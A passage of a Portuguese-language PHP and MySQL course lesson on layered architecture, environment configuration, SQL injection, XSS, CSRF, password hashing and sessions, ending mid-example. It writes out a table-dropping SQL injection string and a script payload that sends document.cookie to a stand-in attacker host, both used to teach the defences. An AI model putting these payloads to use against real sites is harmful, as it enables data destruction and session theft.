Dia 15 — Arquitetura e segurança: PHP e MySQL
O código funciona, mas a senha está escrita dentro dele e o mesmo arquivo faz consulta, validação e HTML. Este dia trata disso: organização em camadas, configuração por `.env`, os três ataques que mais aparecem (SQL Injection, XSS e CSRF) e o tratamento de erro com `try`/`catch`. A senha de verdade vai para `password_hash`, e não para o banco em texto.
Organização em camadas
Camadas é a divisão do código por responsabilidade, para que cada arquivo responda por uma coisa só. O motivo é prático: a regra de negócio precisa estar em um lugar, e não espalhada em todas as telas que usam o dado.
As camadas e o que cada uma responde
| Camada | Pasta | O que faz | O que não faz |
|---|---|---|---|
| controller | public/ | recebe a requisição, escolhe a tela, redireciona | não escreve SQL |
| service | src/Service/ | a regra de negócio | não sabe que existe banco nem HTML |
| repository | src/Repository/ | fala SQL e devolve array | não decide nada |
| view | src/View/ | monta o HTML com os dados recebidos | não monta consulta |
| config | src/Config/ | conexão e opções do PDO | não guarda regra de negócio |
O service é a camada que costuma faltar. Sem ela, o "nota 7 reprova" acaba dentro do WHERE, que está no repository, e a tela que lista aprovados repete a condição. Trocar o corte de 7 para 8 passa a exigir mexer em todo arquivo que menciona nota.
O repository
O repository devolve array e nada mais. Quem chama não sabe se o dado veio do MySQL, de um arquivo ou de um array de teste, e por isso o mesmo service funciona nos dois casos.
final class AlunoRepository { public function __construct(private PDO $pdo) { } public function porId(int $id): ?array { $declarado = $pdo->prepare('SELECT id, nome, nota FROM alunos WHERE id = :id'); $declarado->execute([':id' => $id]); return $declarado->fetch() ?: null; } }
O ?array no retorno diz que pode não haver aluno com aquele id. Devolver null é melhor do que devolver false ou um array vazio: o null se distingue com === null.
O service e o bootstrap
O service valida e decide, e não conhece a tela. O controller monta as três camadas e passa o resultado para a view, que só imprime.
$repository = new AlunoRepository($pdo); $service = new AlunoService($repository); $controller = new AlunoController($service);
O bootstrap é esse trecho: ele sabe quem é quem, e só ele. Trocar o repositório de MySQL por um de teste é mudar uma linha do bootstrap, e nada mais.
O acoplamento a vigiar: quando uma camada precisa da outra para fazer a própria função, a separação está furada. Repository que valida regra de negócio e view que monta consulta são os dois sinais mais comuns.
Exemplo
<?php declare(strict_types=1); // Organizacao em camadas: controller, service, repository. // // O exemplo roda de verdade. O "banco" e um array dentro do arquivo, no lugar // de um repository com PDO: a camada e a mesma, so muda o que existe embaixo. // Trocar o array por $pdo->prepare() no repository nao muda uma linha do // controller nem do service. echo "=== 1. As tres camadas e o que cada uma responde ===\n"; $camadas = [ 'public/index.php' => 'controller: recebe a requisicao, chama o service, escolhe a view', 'src/Service/AlunoService.php' => 'service: a regra do negocio, nao sabe que existe banco nem tela', 'src/Repository/AlunoRepository.php' => 'repository: so fala SQL e devolve array', 'src/View/' => 'view: HTML, recebe dados ja prontos, nao monta consulta', 'src/Config/database.php' => 'config: a conexao e as opcoes do PDO', ]; foreach ($camadas as $arquivo => $papel) { printf(" %-32s %s\n", $arquivo, $papel); } echo "\n A regra que sustenta o desenho: o controller nao escreve SQL e o\n"; echo " repository nao decide nada. Cada um responde por uma coisa so.\n"; // --- Repository --- final class AlunoRepository { public function __construct(private PDO $pdo) { } public function todos(): array { $declarado = $this->pdo->query('SELECT id, nome, nota FROM alunos ORDER BY nome'); return $declarado->fetchAll(); } public function porId(int $id): ?array { $declarado = $this->pdo->prepare('SELECT id, nome, nota FROM alunos WHERE id = :id'); $declarado->execute([':id' => $id]); return $declarado->fetch() ?: null; } public function inserir(string $nome, float $nota): int { $declarado = $this->pdo->prepare('INSERT INTO alunos (nome, nota) VALUES (:nome, :nota)'); $declarado->execute([':nome' => $nome, ':nota' => $nota]); return (int) $this->pdo->lastInsertId(); } } // --- Service --- final class AlunoService { public const NOTA_MINIMA = 7.0; public function __construct(private AlunoRepository $repository) { } public function aprovados(): array { return array_values(array_filter( $this->repository->todos(), fn (array $aluno): bool => $aluno['nota'] >= self::NOTA_MINIMA, )); } public function matricular(string $nome, float $nota): int { $nome = trim($nome); if ($nome === '' || mb_strlen($nome) > 120) { throw new InvalidArgumentException('Nome invalido.'); } if ($nota < 0 || $nota > 10) { throw new InvalidArgumentException('Nota fora de 0 a 10.'); } return $this->repository->inserir($nome, $nota); } } // --- Controller --- final class AlunoController { public function __construct(private AlunoService $service) { } public function listarAprovados(): string { // A view recebe dados prontos e devolve HTML. Ela nao sabe de SQL. $linhas = ''; foreach ($this->service->aprovados() as $aluno) { $linhas .= sprintf( " <li>%s - %.2f</li>\n", htmlspecialchars($aluno['nome'], ENT_QUOTES, 'UTF-8'), $aluno['nota'], ); } return "<ul class=\"aprovados\">\n{$linhas}</ul>"; } } // --- O "banco" em memoria, so para o exemplo rodar sem MySQL --- $pdo = new PDO('sqlite::memory:', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $pdo->exec('CREATE TABLE alunos (id INTEGER PRIMARY KEY AUTOINCREMENT, nome TEXT, nota REAL)'); $seed = $pdo->prepare('INSERT INTO alunos (nome, nota) VALUES (:nome, :nota)'); foreach ([['Ana Souza', 8.5], ['Bruno Lima', 6.0], ['Carla Dias', 9.25]] as [$n, $nota]) { $seed->execute([':nome' => $n, ':nota' => $nota]); } // --- O bootstrap, que monta e liga tudo --- $repository = new AlunoRepository($pdo); $service = new AlunoService($repository); $controller = new AlunoController($service); echo "\n=== 2. O resultado: a requisicao virou HTML ===\n"; echo $controller->listarAprovados(); // --- Onde cada regra mora --- echo "\n=== 3. Onde cada regra esta escrita ===\n"; $regras = [ "SELECT ... ORDER BY nome" => 'repository (SQL)', 'nota >= 7 reprova' => 'service (regra de negocio)', '<li> e htmlspecialchars' => 'controller e view (apresentacao)', 'where fica a conexao' => 'config (nunca no controller)', ]; foreach ($regras as $regra => $onde) { printf(" %-28s %s\n", $regra, $onde); } echo "\n=== 4. A regra de negocio protegida dentro do service ===\n"; try { $service->matricular(' ', 7.0); } catch (InvalidArgumentException $e) { echo ' rejeitado: ' . $e->getMessage() . "\n"; } try { $service->matricular('Diego Alves', 11.0); } catch (InvalidArgumentException $e) { echo ' rejeitado: ' . $e->getMessage() . "\n"; } printf(" aceito: id %d para Carla Dias com nota 10\n", $service->matricular('Carla Dias', 10.0)); echo "\n=== 5. O acoplamento que quebra quando a regra vaza ===\n"; echo " Se o WHERE <= 7 estiver no controller, a regra existe em um lugar\n"; echo " so. Trocar 'nota >= 7' por 'nota >= 8' obriga a caçar em todos os\n"; echo " arquivos. Dentro do service, e uma linha.\n";
Saída real
=== 1. As tres camadas e o que cada uma responde === public/index.php controller: recebe a requisicao, chama o service, escolhe a view src/Service/AlunoService.php service: a regra do negocio, nao sabe que existe banco nem tela src/Repository/AlunoRepository.php repository: so fala SQL e devolve array src/View/ view: HTML, recebe dados ja prontos, nao monta consulta src/Config/database.php config: a conexao e as opcoes do PDO A regra que sustenta o desenho: o controller nao escreve SQL e o repository nao decide nada. Cada um responde por uma coisa so. === 2. O resultado: a requisicao virou HTML === <ul class="aprovados"> <li>Ana Souza - 8.50</li> <li>Carla Dias - 9.25</li> </ul> === 3. Onde cada regra esta escrita === SELECT ... ORDER BY nome repository (SQL) nota >= 7 reprova service (regra de negocio) <li> e htmlspecialchars controller e view (apresentacao) where fica a conexao config (nunca no controller) === 4. A regra de negocio protegida dentro do service === rejeitado: Nome invalido. rejeitado: Nota fora de 0 a 10. aceito: id 4 para Carla Dias com nota 10 === 5. O acoplamento que quebra quando a regra vaza === Se o WHERE <= 7 estiver no controller, a regra existe em um lugar so. Trocar 'nota >= 7' por 'nota >= 8' obriga a caçar em todos os arquivos. Dentro do service, e uma linha.
Configuração e ambiente
Credencial em código é credencial vazada: entra no git, no histórico e no backup. O lugar dela é a variável de ambiente, lida com getenv(), e o .env é o arquivo que guarda esses valores no servidor.
getenv
getenv(string $nome, bool $local_only = false): string|false devolve o valor da variável de ambiente, ou false se ela não existir. O ?: aplica o valor de exemplo quando o resultado é false ou string vazia.
$config = [ 'host' => getenv('DB_HOST') ?: '127.0.0.1', 'port' => (int) (getenv('DB_PORT') ?: 3306), 'name' => getenv('DB_NAME') ?: 'escola', 'user' => getenv('DB_USER') ?: 'app_user', 'pass' => getenv('DB_PASS') ?: '', 'charset' => 'utf8mb4', ];
O valor de exemplo existe para o projeto rodar na máquina de quem estuda sem configurar nada. Em produção as variáveis existem, e o padrão nunca entra.
O .env e o .gitignore
O .env guarda os pares que o código lê:
DB_HOST=127.0.0.1 DB_NAME=escola DB_USER=app_user DB_PASS=aluno123 APP_ENV=desenvolvimento APP_DEBUG=true
O .env entra no .gitignore na mesma hora em que é criado. Depois que entra no histórico, ele está em todo clone do repositório, e apagar o arquivo não resolve.
O PHP puro não lê .env: quem lê é o servidor. No php-fpm e no Apache com mod_env, a variável é exportada no ambiente do processo. Frameworks usam biblioteca para fazer essa leitura. Fora do servidor web, vira export DB_PASS=... no terminal.
Desenvolvimento contra produção
| Variável | Desenvolvimento | Produção |
|---|---|---|
APP_ENV | desenvolvimento | producao |
APP_DEBUG | true | false |
DB_HOST | 127.0.0.1 | host do servidor |
O código lê as duas igual; o que muda é o valor, que vem de fora. É esse o motivo de a configuração não estar no arquivo: a mesma versão sobe em ambientes diferentes sem edição.
APP_DEBUG=true mostra o erro completo, com arquivo, linha e pilha. Em produção isso entrega ao visitante o nome do banco, o usuário e a senha que o PHP leu do ambiente. APP_DEBUG=false mostra uma página de erro e grava o detalhe no log do servidor.
Exemplo
<?php declare(strict_types=1); // Configuracao e ambiente: getenv, variavel de ambiente e o que fazer em // desenvolvimento e em producao. // // Roda de verdade. O arquivo nao pede nenhuma senha ao usuario: le o que o // ambiente ja tem (ou um valor de exemplo, no desenvolvimento) e mostra como // cada variavel chega no PHP. echo "=== 1. Variavel de ambiente e getenv() ===\n"; echo " Variavel de ambiente e um par nome/valor que mora fora do codigo,\n"; echo " no sistema operacional ou no servidor web. O PHP le com getenv().\n\n"; // As variaveis que o sistema operacional tem agora. $sistema = ['HOME', 'PATH', 'LANG', 'TERM']; foreach ($sistema as $nome) { $valor = getenv($nome); printf(" %-8s %s\n", $nome, $valor === false ? '(nao definida)' : substr($valor, 0, 40)); } printf(" %-8s %s\n", 'DB_PASS', var_export(getenv('DB_PASS'), true)); echo "\n=== 2. O padrao: getenv() com valor de exemplo ===\n"; $config = [ 'app_env' => getenv('APP_ENV') ?: 'desenvolvimento', 'app_debug'=> filter_var(getenv('APP_DEBUG') ?: 'true', FILTER_VALIDATE_BOOL), 'db_host' => getenv('DB_HOST') ?: '127.0.0.1', 'db_port' => (int) (getenv('DB_PORT') ?: 3306), 'db_name' => getenv('DB_NAME') ?: 'escola', 'db_user' => getenv('DB_USER') ?: 'app_user', 'db_pass' => getenv('DB_PASS') ?: '', 'db_charset' => 'utf8mb4', ]; foreach ($config as $chave => $valor) { $mostrar = $chave === 'db_pass' ? '(vazio, nunca no codigo)' : var_export($valor, true); printf(" %-12s %s\n", $chave, $mostrar); } echo "\n=== 3. Por que o valor de exemplo nao e o valor de producao ===\n"; echo " O sinal de interrogacao em getenv('X') ?: 'padrao' significa:\n"; echo " usa o valor do ambiente se existir, senao usa este. Em producao as\n"; echo " variaveis existem e o padrao nunca entra. O padrao existe para o\n"; echo " aluno rodar o projeto na propria maquina sem configurar nada.\n"; // --- O que o .env guarda --- echo "\n=== 4. O que vai dentro do .env e o que nunca vai ===\n"; $arquivo = [ 'DB_HOST=127.0.0.1', 'DB_NAME=escola', 'DB_USER=app_user', 'DB_PASS=aluno123', 'APP_ENV=desenvolvimento', 'APP_DEBUG=true', ]; foreach ($arquivo as $linha) { printf(" %s\n", $linha); } echo "\n Esse arquivo fica no servidor e no .gitignore. E a credencial do\n"; echo " banco, entao ela nao entra no git em momento nenhum.\n"; echo "\n=== 5. O .gitignore que protege o .env ===\n"; $ignorar = ['.env', 'vendor/', 'uploads/', '*.log', '.idea/', '.vscode/']; foreach ($ignorar as $linha) { printf(" %s\n", $linha); } // --- Dois ambientes, mesmas variaveis --- echo "\n=== 6. Desenvolvimento e producao com as mesmas chaves ===\n"; $servidores = [ 'desenvolvimento' => ['APP_DEBUG' => 'true', 'DB_HOST' => '127.0.0.1'], 'producao' => ['APP_DEBUG' => 'false', 'DB_HOST' => 'srv-db-interno'], ]; foreach ($servidores as $ambiente => $vars) { printf(" %-15s", $ambiente); foreach ($vars as $k => $v) { printf(" %s=%s", $k, $v); } echo "\n"; } echo "\n O codigo le as duas igual. O que muda e o valor, que vem de fora.\n"; // --- APP_DEBUG decide o que aparece --- echo "\n=== 7. O que o debug controla ===\n"; echo " APP_DEBUG=true : mostra o erro completo, com arquivo, linha e pilha.\n"; echo " APP_DEBUG=false: mostra uma pagina de erro e grava o detalhe no log.\n"; echo " Ligar o debug em producao entrega ao visitante o nome do banco,\n"; echo " o usuario e a senha que o PHP leu do ambiente.\n"; // --- O lugar da conexao --- echo "\n=== 8. Onde a conexao fica no projeto ===\n"; $codigo = <<<'PHP' <?php // src/Config/database.php declare(strict_types=1); function conexao(): PDO { $senha = getenv('DB_PASS'); $dsn = sprintf( 'mysql:host=%s;port=%s;dbname=%s;charset=utf8mb4', getenv('DB_HOST') ?: '127.0.0.1', getenv('DB_PORT') ?: '3306', getenv('DB_NAME') ?: 'escola', ); return new PDO($dsn, getenv('DB_USER') ?: 'app_user', $senha ?: '', [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]); } PHP; echo $codigo . "\n"; echo " O PHP puro nao le .env: quem le e o servidor (php-fpm), o Apache\n"; echo " (mod_env) ou o framework, via biblioteca. Sem servidor web, o .env\n"; echo " vira variavel de ambiente com export no terminal.\n";
Saída real
=== 1. Variavel de ambiente e getenv() ===
Variavel de ambiente e um par nome/valor que mora fora do codigo,
no sistema operacional ou no servidor web. O PHP le com getenv().
HOME /root
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin
LANG (nao definida)
TERM (nao definida)
DB_PASS false
=== 2. O padrao: getenv() com valor de exemplo ===
app_env 'desenvolvimento'
app_debug true
db_host '127.0.0.1'
db_port 3306
db_name 'escola'
db_user 'app_user'
db_pass (vazio, nunca no codigo)
db_charset 'utf8mb4'
=== 3. Por que o valor de exemplo nao e o valor de producao ===
O sinal de interrogacao em getenv('X') ?: 'padrao' significa:
usa o valor do ambiente se existir, senao usa este. Em producao as
variaveis existem e o padrao nunca entra. O padrao existe para o
aluno rodar o projeto na propria maquina sem configurar nada.
=== 4. O que vai dentro do .env e o que nunca vai ===
DB_HOST=127.0.0.1
DB_NAME=escola
DB_USER=app_user
DB_PASS=aluno123
APP_ENV=desenvolvimento
APP_DEBUG=true
Esse arquivo fica no servidor e no .gitignore. E a credencial do
banco, entao ela nao entra no git em momento nenhum.
=== 5. O .gitignore que protege o .env ===
.env
vendor/
uploads/
*.log
.idea/
.vscode/
=== 6. Desenvolvimento e producao com as mesmas chaves ===
desenvolvimento APP_DEBUG=true DB_HOST=127.0.0.1
producao APP_DEBUG=false DB_HOST=srv-db-interno
O codigo le as duas igual. O que muda e o valor, que vem de fora.
=== 7. O que o debug controla ===
APP_DEBUG=true : mostra o erro completo, com arquivo, linha e pilha.
APP_DEBUG=false: mostra uma pagina de erro e grava o detalhe no log.
Ligar o debug em producao entrega ao visitante o nome do banco,
o usuario e a senha que o PHP leu do ambiente.
=== 8. Onde a conexao fica no projeto ===
<?php
// src/Config/database.php
declare(strict_types=1);
function conexao(): PDO
{
$senha = getenv('DB_PASS');
$dsn = sprintf(
'mysql:host=%s;port=%s;dbname=%s;charset=utf8mb4',
getenv('DB_HOST') ?: '127.0.0.1',
getenv('DB_PORT') ?: '3306',
getenv('DB_NAME') ?: 'escola',
);
return new PDO($dsn, getenv('DB_USER') ?: 'app_user', $senha ?: '', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
]);
}
O PHP puro nao le .env: quem le e o servidor (php-fpm), o Apache
(mod_env) ou o framework, via biblioteca. Sem servidor web, o .env
vira variavel de ambiente com export no terminal.
SQL Injection, XSS e CSRF
São três ataques distintos, com três defeitos diferentes e três defesas diferentes. O que os separa é a origem do valor: o primeiro vem do que o usuário escreve, o segundo do que fica guardado no banco, o terceiro vem de outra página.
SQL Injection
Como acontece: o valor do usuário é concatenado no texto do SQL. A aspa simples que ele digita fecha o trecho de texto, e o resto é lido como comando.
// o campo de busca recebe: Ana'; DROP TABLE alunos; -- // o SQL que chega ao banco: $sql = "SELECT * FROM alunos WHERE nome = '{$busca}'"; // SELECT * FROM alunos WHERE nome = 'Ana'; DROP TABLE alunos; --'
Defesa: prepare() com placeholder. O valor viaja separado do comando e o banco o vê como texto, nunca como sintaxe. Não existe filtro de entrada que substitua isso: addslashes() quebra com barra invertida, e trocar a aspa por nada altera o dado.
XSS
Como acontece: o dado saiu do banco já com uma tag dentro, e a tela o imprime sem escapar. O navegador encontra a tag e executa, na conta de quem abriu a página.
// o comentario guardado é: <script>fetch("...?..."+document.cookie)</script> echo $comentario; // a tag vira código echo htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8'); // a tag vira texto
Defesa: htmlspecialchars() com ENT_QUOTES e UTF-8, em todo valor dinâmico, no momento de imprimir. O ponto é a saída: escapar ao gravar resolve para o primeiro site que leu o dado e quebra o próximo que for ler.
CSRF
Como acontece: o navegador manda o cookie de sessão em todo pedido, sem perguntar. Se a ação sensível não exigir nada que só a página legítima tenha, um site aberto na outra aba dispara a ação com a identidade da pessoa, e o servidor vê um POST normal.
Defesa: um token guardado na sessão, colocado no formulário e conferido no servidor a cada ação que muda dado.
$_SESSION['csrf_token'] ??= bin2hex(random_bytes(32)); ?> <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>"> <?php if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) { exit('Requisicao invalida.'); }
random_bytes() não tem derive, é o gerador criptográfico do sistema. hash_equals() compara em tempo constante, para que o token não possa ser adivinhado medindo quanto tempo a comparação leva.
Resumo e o que não protege
| Ataque | Origem do valor | Defesa |
|---|---|---|
| SQL Injection | o que o usuário digita | prepare() com placeholder |
| XSS | o que está guardado no banco | htmlspecialchars() na saída |
| CSRF | outra página usando o cookie | token por sessão com hash_equals() |
Não são problema de filtro de entrada: os três se resolvem na saída e no transporte do valor, não na hora de ler. Um filter_input() bem configurado ajuda a rejeitar entrada obviamente inválida, mas não substitui nenhuma das três defesas.
Exemplo
<?php declare(strict_types=1); // Os tres ataques que mais aparecem em site feito em PHP: SQL Injection, XSS // e CSRF. Cada um com o codigo do ataque, o que ele conquista e a defesa. // // O ataque de SQL Injection aparece como SQL montado, porque nao ha MySQL // neste ambiente. O ataque de XSS e o de CSRF rodam de verdade: o codigo de // geracao do token usa random_bytes, que funciona em qualquer lugar. echo "=== 1. SQL Injection: quando o valor entra no texto do comando ===\n"; $entrada = "'; DROP TABLE alunos; --"; $sqlVulneravel = "SELECT * FROM alunos WHERE nome = '{$entrada}'"; echo " valor digitado: {$entrada}\n"; echo " SQL que roda: {$sqlVulneravel}\n"; echo " a aspa fecha o texto e o resto vira comando: a tabela cai.\n\n"; $sqlSeguro = 'SELECT * FROM alunos WHERE nome = :nome'; echo " com prepared statement o SQL e sempre o mesmo:\n"; echo " {$sqlSeguro}\n"; echo " e o valor viaja separado, visto pelo banco como texto.\n"; echo " defesa: prepare() + execute() sempre. Nao existe caso em que a\n"; echo " concatenacao de string com valor de usuario seja aceitavel.\n"; echo "\n=== 2. XSS: quando o dado volta para o HTML sem escapar ===\n"; $comentario = '<script>fetch("https://ataque.example/?"+document.cookie)</script>'; // O que acontece sem escapar: o navegador encontra a tag e a executa. echo " comentario salvo: {$comentario}\n"; echo " exibido sem escape: {$comentario}\n"; echo " a tag vira codigo e roda na conta de quem sobe a pagina.\n\n"; // A defesa: escapar na saida, nao na entrada. $escapado = htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8'); echo " exibido com escape: {$escapado}\n"; echo " agora a tag aparece como texto, e nao executa.\n\n"; echo " defesa: htmlspecialchars com ENT_QUOTES e UTF-8 em todo valor\n"; echo " dinamico, no momento de imprimir. Escapar ao gravar resolve para\n"; echo " o primeiro site que leu, e quebra o proximo que le o mesmo dado.\n"; echo "\n=== 3. CSRF: quando outra pagina usa a sua sessao sem pedir ===\n"; echo " O navegador manda o cookie de sessao em todo pedido automatico.\n"; echo " Se a acao sensivel (apagar conta, mudar e-mail) nao exigir nada que\n"; echo " so a pagina legitima tenha, qualquer site aberto na outra aba dispara\n"; echo " a acao com a sua identidade. O servidor ve um POST valido.\n\n"; echo " defesa: token unico por sessao, guardado no formulario e conferido\n"; echo " no servidor a cada acao que muda dado.\n\n"; $token = bin2hex(random_bytes(32)); echo " token gerado com random_bytes: {$token}\n"; printf(" tamanho: %d caracteres (%d bytes de entropia)\n", strlen($token), 32); echo " O mesmo valor vai em \$_SESSION e em um campo hidden do formulario.\n"; echo " No POST, o servidor compara. Divergente, a acao nao acontece.\n"; // --- O formulario com o token --- echo "\n=== 4. O token no formulario e a conferida no POST ===\n"; $html = <<<'HTML' <form action="/excluir.php" method="post"> <input type="hidden" name="csrf_token" value="<token gerado acima>"> <button type="submit">Excluir minha conta</button> </form> HTML; echo $html . "\n"; echo " A conferida, do lado do servidor:\n"; echo " if (!hash_equals(\$_SESSION['csrf_token'], \$_POST['csrf_token'] ?? '')) {\n"; echo " exit('Requisicao invalida.');\n"; echo " }\n\n"; echo " hash_equals compara em tempo constante, para que ninguem possa\n"; echo " adivinhar o token medindo quanto tempo a comparacao leva.\n"; // --- Por que nao serve o que o atacante sabe --- echo "\n=== 5. Por que o token barra o ataque ===\n"; $motivos = [ 'o site de ataque nao tem o valor do token', 'o token muda a cada sessao, entao o de ontem nao serve', 'o token nunca aparece na URL, entao nao vaza por link', ]; foreach ($motivos as $motivo) { echo " - {$motivo}\n"; } echo "\n=== 6. As tres defesas, lado a lado ===\n"; $defesas = [ 'SQL Injection' => 'prepared statement: o valor nunca entra no texto do SQL', 'XSS' => 'htmlspecialchars(ENT_QUOTES, UTF-8) em toda saida dinamica', 'CSRF' => 'token por sessao conferido com hash_equals em toda acao POST', ]; foreach ($defesas as $risco => $defesa) { printf(" %-15s %s\n", $risco, $defesa); } echo "\n=== 7. O que nao e defesa ===\n"; $errados = [ 'addslashes' => 'nao entendeu o que dizer: nao e defesa contra Injection', 'str_replace de aspa' => 'remover a aspa quebra o texto e continua sendo concatenacao', 'FILTER_SANITIZE_STRING' => 'remover tag na entrada nao protege a saida de outros contextos', 'pedir para nao clicar' => 'o ataque nao precisa de clique em nada', ]; foreach ($errados as $coisa => $motivo) { printf(" %-24s %s\n", $coisa, $motivo); } echo "\n SQL Injection, XSS e CSRF nao se resolvem com filtro de entrada.\n"; echo " Resolvem com prepared statement, escape na saida e token.\n";
Saída real
=== 1. SQL Injection: quando o valor entra no texto do comando ===
valor digitado: '; DROP TABLE alunos; --
SQL que roda: SELECT * FROM alunos WHERE nome = ''; DROP TABLE alunos; --'
a aspa fecha o texto e o resto vira comando: a tabela cai.
com prepared statement o SQL e sempre o mesmo:
SELECT * FROM alunos WHERE nome = :nome
e o valor viaja separado, visto pelo banco como texto.
defesa: prepare() + execute() sempre. Nao existe caso em que a
concatenacao de string com valor de usuario seja aceitavel.
=== 2. XSS: quando o dado volta para o HTML sem escapar ===
comentario salvo: <script>fetch("https://ataque.example/?"+document.cookie)</script>
exibido sem escape: <script>fetch("https://ataque.example/?"+document.cookie)</script>
a tag vira codigo e roda na conta de quem sobe a pagina.
exibido com escape: <script>fetch("https://ataque.example/?"+document.cookie)</script>
agora a tag aparece como texto, e nao executa.
defesa: htmlspecialchars com ENT_QUOTES e UTF-8 em todo valor
dinamico, no momento de imprimir. Escapar ao gravar resolve para
o primeiro site que leu, e quebra o proximo que le o mesmo dado.
=== 3. CSRF: quando outra pagina usa a sua sessao sem pedir ===
O navegador manda o cookie de sessao em todo pedido automatico.
Se a acao sensivel (apagar conta, mudar e-mail) nao exigir nada que
so a pagina legitima tenha, qualquer site aberto na outra aba dispara
a acao com a sua identidade. O servidor ve um POST valido.
defesa: token unico por sessao, guardado no formulario e conferido
no servidor a cada acao que muda dado.
token gerado com random_bytes: 0bddcc756370be98f5c7899796b0ec8d8218c2984bec10319e96218895225519
tamanho: 64 caracteres (32 bytes de entropia)
O mesmo valor vai em $_SESSION e em um campo hidden do formulario.
No POST, o servidor compara. Divergente, a acao nao acontece.
=== 4. O token no formulario e a conferida no POST ===
<form action="/excluir.php" method="post">
<input type="hidden" name="csrf_token" value="<token gerado acima>">
<button type="submit">Excluir minha conta</button>
</form>
A conferida, do lado do servidor:
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
exit('Requisicao invalida.');
}
hash_equals compara em tempo constante, para que ninguem possa
adivinhar o token medindo quanto tempo a comparacao leva.
=== 5. Por que o token barra o ataque ===
- o site de ataque nao tem o valor do token
- o token muda a cada sessao, entao o de ontem nao serve
- o token nunca aparece na URL, entao nao vaza por link
=== 6. As tres defesas, lado a lado ===
SQL Injection prepared statement: o valor nunca entra no texto do SQL
XSS htmlspecialchars(ENT_QUOTES, UTF-8) em toda saida dinamica
CSRF token por sessao conferido com hash_equals em toda acao POST
=== 7. O que nao e defesa ===
addslashes nao entendeu o que dizer: nao e defesa contra Injection
str_replace de aspa remover a aspa quebra o texto e continua sendo concatenacao
FILTER_SANITIZE_STRING remover tag na entrada nao protege a saida de outros contextos
pedir para nao clicar o ataque nao precisa de clique em nada
SQL Injection, XSS e CSRF nao se resolvem com filtro de entrada.
Resolvem com prepared statement, escape na saida e token.
Senhas, sessão e tratamento de erro
Senha em texto no banco vira senha de todo mundo no primeiro backup que vaza. O que se guarda é o hash, e quem confere a senha é o PHP. Junto disso vêm a sessão, que guarda quem está entrando, e o tratamento de erro, que decide o que o visitante vê.
Senha
password_hash(string $senha, ?string $algoritmo = null, array $opcoes = []): string devolve o hash. password_verify(string $senha, string $hash): bool confere. password_needs_rehash(string $hash, ?string $algoritmo = null, array $opcoes = []): bool diz se o hash guardado já está velho.
$hash = password_hash($senha, PASSWORD_DEFAULT); if (password_verify($senhaDada, $hash)) { // entrou } if (password_needs_rehash($hash, PASSWORD_DEFAULT)) { $hash = password_hash($senhaDada, PASSWORD_DEFAULT); // regra que o hash novo vai salvar }
Três pontos que evitam erro:
- A senha nunca é gravada. No banco, no log e no formulário de recuperação fica só o hash.
- A comparação é
password_verify(), nunca===nem==. Cada hash tem sal aleatório dentro, então dois hashes da mesma senha são diferentes: comparar os dois hashes dáfalsemesmo com a senha certa. PASSWORD_DEFAULTem vez do nome do algoritmo. Ele aponta para o mais seguro disponível no PHP atual. EscreverPASSWORD_BCRYPTno código envelhece: o bcrypt fica caro de quebrar, mas não acompanha o que vier depois.
Sessão
session_start(): bool abre a sessão e manda o cookie. $_SESSION é o array onde fica o estado entre requisições. session_id(): string devolve o identificador, session_destroy(): bool encerra.
session_start(); $_SESSION['aluno_id'] = 42; $id = $_SESSION['aluno_id'] ?? null;
O cookie de sessão se configura com session_set_cookie_params():
| Opção | Valor recomendado | Por quê |
|---|---|---|
httponly | true | JavaScript não lê o cookie, o que corta o roubo por XSS |
secure | true | o cookie só viaja por https |
samesite | Lax | não acompanha POST vindo de outro site, o que corta CSRF |
O dado não viaja na resposta: o cookie leva só um código, e o array fica no servidor.
session_start() precisa ser a primeira linha do arquivo, antes de qualquer echo, porque o cookie é um cabeçalho HTTP e cabeçalho não é enviado depois de texto na resposta. Espaço em branco antes do <?php já conta como saída, e produz o aviso Session cannot be started after headers have already been sent.
Erro
try, catch e finally organizam o bloco. A parte que importa é o que se faz com a mensagem.
$e->getMessage() do PDOException carrega o SQLSTATE, o trecho do SQL que falhou e, em falha de conexão, o host e o usuário do banco. Mostrar isso na tela entrega a estrutura do servidor para qualquer visitante.
try { // consultas } catch (PDOException $e) { error_log('ERRO banco: ' . $e->getMessage()); // detalhe para quem mantém exit('Nao foi possivel concluir a operacao.'); // frase genérica para a tela }
O catch do PDOException é do tipo do erro do banco. Um catch (Throwable $e) também pega o que vier de outra camada, e é o que serve quando o bloco é uma transação.
Exemplo
<?php declare(strict_types=1); // Senhas, sessao e tratamento de erro. // // Roda de verdade. A sessao e criada no topo do arquivo, antes de qualquer // echo, porque o cookie de sessao e um cabecalho HTTP e cabecalho nao pode // vir depois de qualquer texto na pagina. O fim do arquivo mostra o que // acontece quando essa ordem e invertida. // --- 1. A sessao comeca antes de qualquer saida --- session_start(); echo "=== 1. A senha nunca fica em texto no banco ===\n"; echo " Guarda-se o resultado de password_hash, nao a senha. A senha em texto\n"; echo " no banco, vazando em um backup, entrega a conta de todo mundo.\n\n"; $senha = 'aluno123'; $hash = password_hash($senha, PASSWORD_DEFAULT); printf(" senha: %s\n", $senha); printf(" hash guardado: %s\n", $hash); printf(" tamanho do hash: %d caracteres (a senha tem %d)\n", strlen($hash), strlen($senha)); printf(" a senha nao da para recuperar a partir do hash. Isso e o ponto.\n"); // --- 2. O hash tem sal, entao dois hashes da mesma senha sao diferentes --- echo "\n=== 2. O mesmo hash nunca sai igual ===\n"; $outro = password_hash($senha, PASSWORD_DEFAULT); printf(" 1o hash: %s\n", $outro); printf(" 2o hash: %s\n", password_hash($senha, PASSWORD_DEFAULT)); echo " sao diferentes porque cada hash tem um sal aleatorio dentro.\n"; echo " Por isso a comparacao de senha e password_verify, nunca === nem ==.\n"; var_dump($hash === $outro); // false, mesmo sendo a mesma senha // --- 3. A conferida --- echo "\n=== 3. A conferida e password_verify ===\n"; 